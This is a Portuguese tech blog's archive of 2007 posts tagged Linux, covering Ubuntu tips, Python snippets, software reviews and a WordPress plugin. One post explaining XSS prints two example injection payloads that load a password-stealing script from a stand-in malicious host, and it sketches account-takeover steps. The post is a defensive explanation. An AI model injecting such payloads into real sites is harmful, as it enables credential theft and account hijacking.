Sites e sistemas rápidos, acessíveis, bem posicionados no Google e, o que é mais importante, fáceis de usar.

Arquivos da tag 'Linux'

Ubuntu chega oficialmente ao Brasil

23/11/2007

Boa notícia: Ubuntu chega oficialmente ao Brasil.

“Nossa estratégia será fechar parcerias com fabricantes para oferecer o Ubuntu pré-instalado e pré-configurado, faturando com suporte, serviços, segurança e atualização.”

Vem em boa hora. Um funcionário meu comprou um notebook[bb], um Presario v6210br, que veio com Mandriva. O suporte é uma piada. Não conseguíamos conectar em redes com chave WEP, apenas redes abertas. Em todas as ligações que fizemos os atendentes nos disseram que, se o computador conecta em uma rede e outra não, o problema é na rede, e eles não prestam suporte a configuração de redes. Mesmo argumentando que os outros notebooks na empresa, com Linux[bb] e Mac OS, se conectam normalmente à rede.

Parece que eles colocam Linux nessas máquinas só para reduzir custos, mas não esperam que ninguém vá usar realmente o sistema. A qualidade da instalação é entristecedora. Veio com a rede wi-fi configurada via ndiswrapper e cheia de problemas, e os drivers para a placa de vídeo 3D simplesmente não vieram instalados. Parece que esperam que todo mundo vá instalar um Windows pirata na máquina.

Quem sabe com uma distribuição de verdade, prestando suporte de verdade, notebook com Linux pré-instalado deixe de ser piada no Brasil.

Deixe seu Linux com cara de Mac OS X

05/11/2007

Uma das perguntas que mais me fazem é: como deixar o Linux mais parecido com o Mac OS X? Considero isso um despropósito. O Ubuntu[bb], por exemplo, é lindo, perfeito, não precisa mudar nada.

Mas, tem louco para tudo. Desde gente querendo deixa o Linux com cara de Windows, quanto gente querendo um Windows com cara de Linux.

Bom, então lá vai, se você quer realmente seu Linux com cara de Mac[bb] OS X, siga o tutorial mais completo e paranóico que há. Vai dar um bocado de trabalho, mas o resultado é impressionante:

Make Your Linux Desktop Look Like A Mac - Mac4Lin Project Documentation

Há também uma versão menos detalhada desse tutorial, mas em português.

Instalando o PSE no Ubuntu 7.10 Gutsy Gibbon

28/10/2007

O novo Ubuntu[bb] 7.10 está maravilhoso. Até o 7.04 eu usava um hack para fazer funcionar minha placa de rede, agora ela funciona sem truques. O compiz já instalado funcionou sozinho, bem direitinho. O resto tudo também funcionou sem dor. Menos o PSE.

Por algum motivo estranho, a versão do mod_python (3.3.1) desse novo Ubuntu reclama de sei lá o que. A versão anterior (3.1.3) funcionava sem problemas. Dei um jeito aqui de colocar para funcionar. Não sei se é uma boa saída, se alguém tiver uma sugestão melhor, por favor.

Segue a receita de bolo para instalar o PSE no novo Ubuntu:

  1. Instale os pacotes necessários: sudo apt-get install apache2 libapache2-mod-python python-profiler build-essential latex2html
  2. Baixe o PSE: wget http://nick.borko.org/pse/PSE-3.0.6.tar.gz
  3. Extraia o código fonte: tar -xzvf PSE-3.0.6.tar.gz
  4. Entre na pasta: cd PSE-3.0.6
  5. Compile e instale: sudo python setup.py install
  6. Edite o arquivo de configuração do Apache: sudo gedit /etc/apache2/apache2.conf
    Acrescente ao final:
    PythonHandler pse_handler
    AddHandler python-program .pt
  7. Aqui vai o hack: sudo gedit /usr/lib/python2.5/site-packages/mod_python/importer.py
    Encontre a linha 303, que deve ser:
    return __import__(module_name, {}, {}, '*')
    E edite para ficar:
    return __import__(module_name, {}, {}) #, '*')
    Cuidado para não quebrar a identação!
  8. Reinicie o Apache: sudo invoke-rc.d apache2 restart

Pronto, deve funcionar. Aqui para mim foi só isso.

Acentuação em Português e Expressões Regulares Python

17/10/2007

Ao utilizar expressões regulares em Python[bb], por padrão, seu texto é interpretado como uma seqüência de caracteres ASCII comum. Assim, caracteres acentuados são considerados sinais gráficos especiais, e não são capturados como letras. Veja este exemplo:


>>> import re
>>> print re.sub(r"\b","|","era uma criança")
|era| |uma| |crian|ç|a|

Como você pode ver, o ce-cedilha não é considerado uma letra, "quebrando" a palavra. Resolver isso é muito fácil, basta compilar a expressão regular passando a flag L, para que ela siga o locale de sua máquina, ou a flag U, para que ela trabalhe com unicode. No meu caso, em que o locale da máquina é unicode, tanto faz. Veja como funciona:


>>> import re
>>> c=re.compile(r"\b",re.U)
>>> print c.sub("|",u"era uma criança")
|era| |uma| |criança|

Só não se esqueça de trabalhar com strings unicode.

IBM Lotus Symphony Bloated Office

28/09/2007

A IBM lançou seu pacote de escritórios gratuito, o Lotus Symphony. Instalei aqui para testar. Para começar, ele não é "baseado no OpenOffice.org" como muitos sites por aí andam dizendo. Ele lê arquivos do formato ODF, o formato criado pela OpenOffice.org, e talvez tenha algum código ali realmente aproveitado do OpenOffice.org, mas ele é baseado mesmo é no Eclipse. Sim, é isso que você entendeu, o Symphony é construído sobre o Eclipe, em Java[bb], lento, lento, lento… Leva uma eternidade para carregar e demora um bocado a responder a alguns comandos. Fica praticamente impossível de se usar.

A primeira coisa curiosa é que o instalador para Linux[bb] coloca o programinha que desinstala o Symphony num lugar escondido e não avisa o usuário. Então fica a dica para você que usa Linux e, como eu, instalou o Symphony e se arrependeu o instalador está em:

/opt/ibm/lotus/Symphony/_uninst/uninstaller.bin

Outra coisa interessante é que a interface do programa ficou muito boa. O investimento em usabilidade que a IBM tem feito há anos, o que eles chamam de User Centered Design, tem dado resultado. O problema é que o software é tão lento que é insuportável usá-lo mesmo tendo uma excelente interface.

Se você já é usuário de OpenOffice.org, não vejo nenhum bom motivo para tentar o Symphony. Se não é usuário de OpenOffice.org, por favor, não instale o Symphony. Tente o OpenOffice.org.

Para mim o Symphony serviu mesmo para mostrar o poder de um padrão aberto. Tenho em minha máquina agora três pacotes de escritório: KOffice, OpenOffice.org[bb] e IBM Lotus Symphony, e os três trabalham com exatamente o mesmo formato de arquivo. Sem segredos, sem royalties, sem truques. Inclusive a compatibilidade entre eles é muito boa. E qualquer um pode fazer um programa que trabalha com o mesmo formato.

Veja, por exemplo, como é simples fazer um shell script que exporta um documento ODT para texto:

#!/bin/bash
mkdir .tmp_odt2txt
cp $1 .tmp_odt2txt
cd .tmp_odt2txt
unzip $1
cd ..
sed -e "s/<text:p[^>]*>/\n/g" .tmp_odt2txt/content.xml|sed -e "s/<[^>]*>//g" > $1.txt
rm -rf .tmp_odt2txt

Como estamos falando de um padrão aberto, usamos ferramentas simples disponíveis em qualquer Unix e lemos o arquivo. Tente fazer isso com um documento do Microsoft Word e você vai entender o que eu quero dizer.

Dirty PHP Include, plugin para Wordpress que faz include de arquivos PHP em seus posts

02/08/2007

Para atender a um cliente, escrevi agora um pequeno plugin para Wordpress[bb]. Você pode fazer download do plugin aqui:
http://elcio.com.br/download/dirtyinclude.zip (497 bytes)

Depois, basta descompactá-lo na pasta wp-content/plugins em seu diretório do Wordpress. Tendo feito isso, acesse o administrador do Wordpress, clique em "Plugins" ("Extensões" na versão em português) e ative o plugin. Pronto, está funcionando.

Para incluir um arquivo em um post basta, ao editar o post, escrever: [[[include:/caminho/ate/seu/arquivo.php]]] e o arquivo será incluído. O caminho é relativo ao diretório base do Wordpress. Funciona tanto com o editor visual quanto com o editor de código. Atenção! Se você tem usuários não confiáveis, por exemplo, se permite que seus usuários se cadastrem e postem, não deve usar esse plugin. É perigoso…

Naturalmente, o plugin acaba de ser escrito e não foi exaustivamente testado. Se você tiver sugestões de melhorias ou achar bugs, por favor, avise.

Meus comentários:

  1. Wordpress é fantástico! Essa API para a criação de plugins é fabulosa. É muito fácil escrever um plugin que faz bem seu trabalho sem atrapalhar todo o resto.
  2. Continuo não gostando de PHP, mas dá para trabalhar com isso. Se metade do código mundo a fora tivesse a qualidade do Wordpress, já ajudaria muito.
  3. Vou dizer de novo: se você não sabe expressões regulares[bb], precisa aprender!

EyeOS

02/08/2007

Ei, está legal isso aqui: http://www.eyeos.info/

Não é útil, mas dá uma boa idéia a respeito do que é possível fazer.

Falha no Password Manager do Firefox?

25/07/2007

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados - o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão "Sim, eu tenho certeza"
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager ;-)

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

Python X Java X Smalltalk

22/05/2007

Achei muito interessante este artigo comparando a sintaxe de Smalltalk com Java. Implementei os mesmos exemplos em Python, para que você possa comparar a sintaxe:

Problema: cálculo de fatorial

def factorialRecursive(n):
  if n<0:return 0
  if n==0:return 1
  return n*factorialRecursive(n-1)

Ou assim:

def factorialNonRecursive(n):
  if n<0:return 0
  return reduce(lambda a,b:a*b,[1]+range(1,n+1))

A recursividade pode parecer uma solução elegante, mas o consumo de memória é assombroso nesse caso, em qualquer linguagem. Calcular a fatorial de um número grande qualquer pode ser um problema com a recursividade. Por isso, prefira a versão não recursiva.

No novo Python 2.5 você pode fazer:

def fact(x): return (
  0 if x<0 else
  reduce(lambda a,b:a*b,[1]+range(1,x+1))
)

Aqui é difícil dizer qual é mais prática, Smalltalk ou Python. Você pode palpitar sobre qual é mais elegante, uma vez que as soluções são radicalmente diferentes, mas a escolha final é subjetiva.

Problema: imprimir os números de 1 a 10

Eu faria usando os recursos de programação funcional:

print "\n".join(map(str,range(1,11)))

Mas você pode preferir:

for i in range(1,11):
  print i

De qualquer maneira, ponto para o Python[bb] aqui.

Problema: trabalhando com Collections

l=[
  'Em Python,',
  'chamamos as',
  'collections',
  'de "listas"',
]
print "\n".join(l)

Aqui, indiscutivelmente, ponto para o Python.

Problema: mostrar os pares e ímpares entre 1 e 10

for i in range(1,11):
  print i,["is even","is odd"][i % 2]

Novamente, o Python ganha disparado.

Problema: invocar um método via Reflection

É bem fácil:

o=MyClass()
getattr(o,"showMessage")()

Aqui o páreo é duro, Python e Smalltalk correm cabeça-a-cabeça. Na minha opinição, Python ganha por um focinho.


PythonPara saber mais sobre Python recomendo o PythonBrasil.

Além disso, sou professor do Curso de Python da Visie.

Ubuntu e o poder do Open Source

16/05/2007

Bill Gates recomenda Ubuntu

Uma das grandes vantagens do open source, algo que na maioria dos softwares conhecidos é o que realmente movimenta o projeto, é o fato de que qualquer um pode colaborar. Você pode alterar e melhorar um software, enviando as correções para o autor, ou pode criar um "fork", uma versão sua daquele software. Pode também criar ferramentas para o software, criar arte como temas, templates, ícones, e até criar suas próprias campanhas de divulgação.

Veja por exemplo o Wubi. É um instalador de Ubuntu para usuários de Windows[bb]. Com ele você pode instalar o Ubuntu em seu computador com Windows no tradicional esquema Redmond "Next-Next-Finish". O Wubi instala o Ubuntu numa "partição virtual", um arquivo dentro do sistema de arquivos do Windows. Ou seja, você não precisa se preocupar em gravar um CD, formatar ou particionar seu HD e outras tarefas espinhudas.

O Wubi não é uma ferramenta oficial da distribuição. Foi feito por alguém que queria colaborar com o Ubuntu. Software livre é isso aí.

Você pode colaborar como quiser. Por exemplo, criando uma capa personalizada para o seu DVD do Ubuntu e compartilhando com quem quiser.

xSpec, o emulador de Sinclair ZX Spectrum

16/05/2007

Para os que gostam da história da informática: o primeiro computador em que eu programei na vida foi um Sinclair ZX Spectrum, que aqui no Brasil se chamava TK-90X. Pois não é que o saudoso micrinho fez 25 anos mês passado?

Baixei nos repositórios do Ubuntu o xspec, um emulador de Spectrum, para ver se eu ainda sabia alguma coisa de BASIC, e fiz um videozinho para que os mais novos nesse negócio possam ver um pouquinho de como foi o início da programação em microcomputadores:

Ah, que saudades!

Songbird ainda não está pronto para mim

07/05/2007

Como todo mundo anda elogiando, resolvi testar o Songbird. O programa é lindo! Mas eu acho que ainda não vou conseguir usá-lo. Talvez eu não tenha entendido direito o funcionamento do programa, e algum leitor mais esperto do que eu possa me ajudar.

Eu entendi errado ou o Songbird não entende feeds de Podcast? Só consegui pedir ao programa para assinar o conteúdo de uma página, que carregue no navegador, não um feed XML[bb]. No caso de feeds que possuem uma folha de estilo XSLT para o navegador, como os do Feedburner, a coisa funciona porque o Songbird os entende como uma página web:

Songbird vendo um feed no Feedburner

Já se o arquivo XML não tem nenhuma mágica associada a ele, veja o que acontece:

Songbird vendo um feed XML

Ou seja, eu preciso visitar o site, e mandar o Songbird "assinar" a página que contém a lista de arquivos mp3. Há uma série de problemas com essa abordagem:

  1. Nem todos os feeds tem uma página HTML[bb] que liste os arquivos. Estes eu não posso assinar.
  2. O endereço da página pode mudar. Não deveria, claro, "cool URI don't change" certo? Mas pode. E muita gente publica conteúdo só no feed, exclusivo para quem assina.
  3. Preciso navegar na minha coleção de podcasts e repetir este processo um a um.
  4. Por falar nisso, não há uma maneira de importar meu OPML. Incluir os podcasts um a um não é divertido. E como ele também não exporta, usar o Songbird significaria repetir o processo no dia em que eu resolvesse migrar para outro programa.

Ou seja, por enquanto ainda não vou me arriscar com o Songbird. É um projeto open source, baseado em XUL, logo é muito fácil criar extensões para ele e melhorá-lo. Qualquer um que saiba javascript pode colaborar. Quem sabe eles não resolvem isso rápido?

Instalei o PidGin 2.0

05/05/2007

Acabo de instalar o tal PidGin 2.0.0, o substituto do Gaim, o programa que, ao ser lançado, causou tanto movimento que derrubou o site oficial. Ele está disponível para Windows e Linux[bb]. Para quem não sabe:

O Pidgin é um cliente de mensagens modular capaz de usar o AIM, MSN, Yahoo!, Jabber, ICQ, IRC, SILC, SIP/SIMPLE, Novell GroupWise, Lotus Sametime, Bonjour, Zephyr, Gadu-Gadu e QQ de uma vez só. Ele é escrito usando o GTK+.

Baixei os fontes do SourceForge, o pacote pidgin-2.0.0.tar.gz, aqui no meu Ubuntu 6.10. Depois o processo foi:

$ tar -xzvf pidgin-2.0.0.tar.gz
$ cd pidgin-2.0.0.tar.gz
$ ./configure
$ make
$ sudo make install

Assim mesmo, como manda o figurino, sem nenhum errinho. Ele leu meus contatos e contas do Gaim e já abriu conectando, pronto para usar.

É o bom e velho Gaim, com pequenas melhoras e novas funcionalidades, mais rápido e muito, muito mais bonito. A interface também deu uma boa melhorada em relação à usabilidade. Além disso, agora ele conecta em ainda mais redes que eu não vou usar ;-)

Updated: endereço do site corrigido. Obrigado pessoal.

A experiência de uso Linux

04/05/2007

Sobre as grandes diferenças: Coisas que posso fazer em Linux e em windows não

Sobre as semelhanças (e as pequenas diferenças): Linux[bb] x Windows

Se você trabalha com internet, essa série deve interessá-lo:

Por falar nisso, no terceiro artigo dessa série o perguntou nos comentários:

Como você, vim do Windows/DreamWeaver para Linux/?(ainda). Gostei do
que vi no QuantaPlus, realmente é excelente, porém um das vantagens que
eu via ao usar o DreamWeaver com seu FTP era
o de ter sempre a certeza de pegar a última versão do programa e não
precisar me preocupar em enviar o arquivo certo e se está na última
versão. Eu abria o arquivo direto do ftp, ele baixava o último
(inclusive as dependências) abria na minha tela, eu editava (um ou mais
de um) salvava e o DreamWeaver já efetuava o Upload. Eu gostaria de
saber como é o seu procedimento agora. De repente eu também mudo e vejo
as vantagens. Sempre devemos estar aberto a aprender, né?

Tentei responder por lá, mas o sistema matemático parece funcionar com uma matemática diferente da minha. Então minha resposta vai aqui:

araujo,O Kate faz isso que você está querendo. Ele tem uma barra lateral de navegação em arquivos. Você pode adicionar um favorito ali no formato:

ftp://usuario:senha@servidor.com.br/pasta

Também suporta uma série de outros protocolos, como o sftp. Adicionando o favorito, é só clicar nele que o Kate lista os aruqivos e pastas. Clicando num arquivo o Kate abre diretamente do FTP, e se você salvar, salva direto lá também.

A dobradinha nautilus/gedit também torna isso transparente para você. Se você se conecta a um servidor de FTP pelo nautilus, pode clicar com o botão direito em qualquer arquivo e escolher "Abrir com Editor de Textos". O nautilus também coloca o servidor de FTP como um dos caminhos possíveis nas caixas de abrir e salvar do gedit.

A quebra da proteção anti-cópia do HD-DVD, o Digg, e o futuro do DRM e das indústrias de música e cinema.

02/05/2007

Saudações amigos piratas!

O Digg perdeu o controle de seu próprio site por causa da singela seqüência de números[bb] acima. Uma história interessante que vale a pena acompanhar. Sua primeira tendência pode ser a de criticar o Digg pela censura. Mas, pense bem, se fosse o seu pequeno negócio de milhões de dólares que estivesse ameaçado de processo judicial, será que você seria realmente tão corajoso assim?
(more…)

Desenvolvimento web com ferramentas open source ou proprietárias?

30/04/2007

O Fred, a quem eu finalmente tive o privilégio de conhecer pessoalmente no Encontro Locaweb em Porto Alegre, me entrevistou no aeroporto. O tema: ferramentas open source[bb] ou proprietárias? Confira o podcast.

Baixe o Ubuntu 7.04 via torrent

19/04/2007

Saiu o Ubuntu[bb] 7.04, Feisty Fawn. Assim que sai uma versão nova do Ubuntu, os servidores ficam sobrecarregados de gente tentando baixar os isos.

A dica: baixe via torrent. O servidor mais rápido que eu achei me deixou baixar a 100KB/s. Via bittorrent estou baixando a 220KB/s. Além de ser mais rápido, você contribui com sua banda para que os servidores do Ubuntu fiquem menos sobrecarregados. Vamos lá! Quanto mais gente baixar via torrent, mais rápido fica para todo mundo.

Vou deixar a máquina seeding aqui durante a noite. Se você tem condições, faça também isto. É um jeito simples de contribuir um pouquinho com uma causa muito nobre.

Os servidores estavam tão sobrecarregados que eu tive dificuldades em baixar o arquivo de torrent para iniciar. Então, para facilitar sua vida, deixei aqui uma cópia do arquivo de torrent para a versão i386 (feisty-desktop-i386.iso 698MB.) Bom download!

Firefox, o monstro

27/03/2007

Deixei o micro ligado durante a noite. Não estava navegando nem fazendo nada de especial, só ficou ligado. Quando fui tentar usá-lo pela manhã, estava muito, muito lento. Talvez o usuário de Windows ache que estou de frescura, afinal, isso é assim mesmo, basta um reboot e tudo se resolve. Mas deixe-me dizer que no Linux[bb] as coisas são diferentes. Minha máquina no escritório fica meses ligada, sem reboot, sem lentidão. Se está lento, tem alguma coisa errada. Pois veja:

Firefox consumindo 297MB de RAM. Como meu notebook só tem 512MB de RAM, e parte disso é compartilhada com a placa de vídeo, 297MB é muita, muita RAM.

Fechei o Firefox. A janela fechou e o programa levou dois minutos para fechar e liberar a memória. Enquanto isso, consumiu tudo o que pode de CPU:

Quando o programa finalmente morreu, o alívio foi imediato:

Pronto, abri o Firefox de novo, e tudo parece normal:

Alguém tem idéia do que seja isso? Algum plugin ou extensão?

Quem tem medo do terminal?

26/03/2007

Estava ajudando um amigo a instalar o Ubuntu[bb] em sua máquina, tentando evitar, a todo custo, me conectar por ssh. E tentando evitar também o uso de terminal, pois meu amigo estava migrando de Windows e parecia ter um certo receio da tela preta. Tivemos alguns problemas com o Automatix, e entrei no canal #ubuntu-br da Freenode para perguntar. Fiquei impressionadíssimo com a solicitude das pessoas que estavam online. Uso bastante irc, e é comum estar em canais sobre Python[bb], SQLObject, Javascript e etc. E sei que geralmente quem se dá ao trabalho de estar ali é porque realmente gosta de ajudar. Mas o pessoal da #ubuntu-br foi especialmente paciente e atencioso.

Depois que desconectei, recebi até um e-mail do Vinícius Depizzol sanando as dúvidas que haviam ficado pendentes. Obrigado Vinícius, obrigado ao pessoal do #ubuntu-br.

Uma das coisas que o Vinícius me mostrou é que eu não preciso de Automatix. Quase tudo o que se faz por ele pode ser feito pelo Ubuntu, na interface gráfica, sem nenhum programa especial. Boa parte no menu "Aplicações" -> "Adicionar/Remover". E o que não dá para resolver lá geralmente é muito fácil de fazer no terminal.

Isso me fez pensar. Nós, programadores, sabemos que o terminal (shell, console ou como você preferir chamá-lo) é a ferramenta mais poderosa dos sistemas Unix. Não há outra maneira de se obter a rapidez e flexibilidade que se tem num terminal.

Estes dias vi um amigo fazendo algo curioso. Ele precisa copiar uma pasta no servidor, chamada "site", para "sitenovo", para começar a trabalhar no novo site. Ele se conectou por FTP, copiou a pasta inteira para a sua máquina (eram alguns megabytes) renomeou e enviou de novo para o servidor. Mais de meia hora de trabalho. Ele poderia ter se conectado via SSH e feito:

cp -r site sitenovo

E em menos de um minuto a cópia estaria feita.

Claro, isso não é novidade nenhuma para o usuário de Linux que já lida com o terminal há algum tempo. Um administrador de sistemas Linux é uma pessoa muito mais feliz graças ao terminal. Mas como fazer com que o usuário de interface gráfica, que não tem gosto pela linha de comando, não perca o tempo que meu amigo perdeu? Como fazer com que o webdesigner que publica arquivos num servidor remoto aprenda pelo menos o básico? Que ele saiba copiar, mover, apagar e editar arquivos e diretórios, navegar por diretórios, sincronizar diretórios, comparar arquivos, criar pequenos scripts para automatizar tarefas e editar o seu crontab?

Recursos para desenvolvedores

20/03/2007

Uma interessantíssima lista de recursos, sites, extensões, serviços online e outras ferramentas preciosas para o desenvolvedor:

A Roundup for "Developers, Developers, Developers…"

E, aproveitando, um recurso interessante para quem, como eu, está se apaixonando pelo VI, ou apenas quer aprender:

Vim Introduction and Tutorial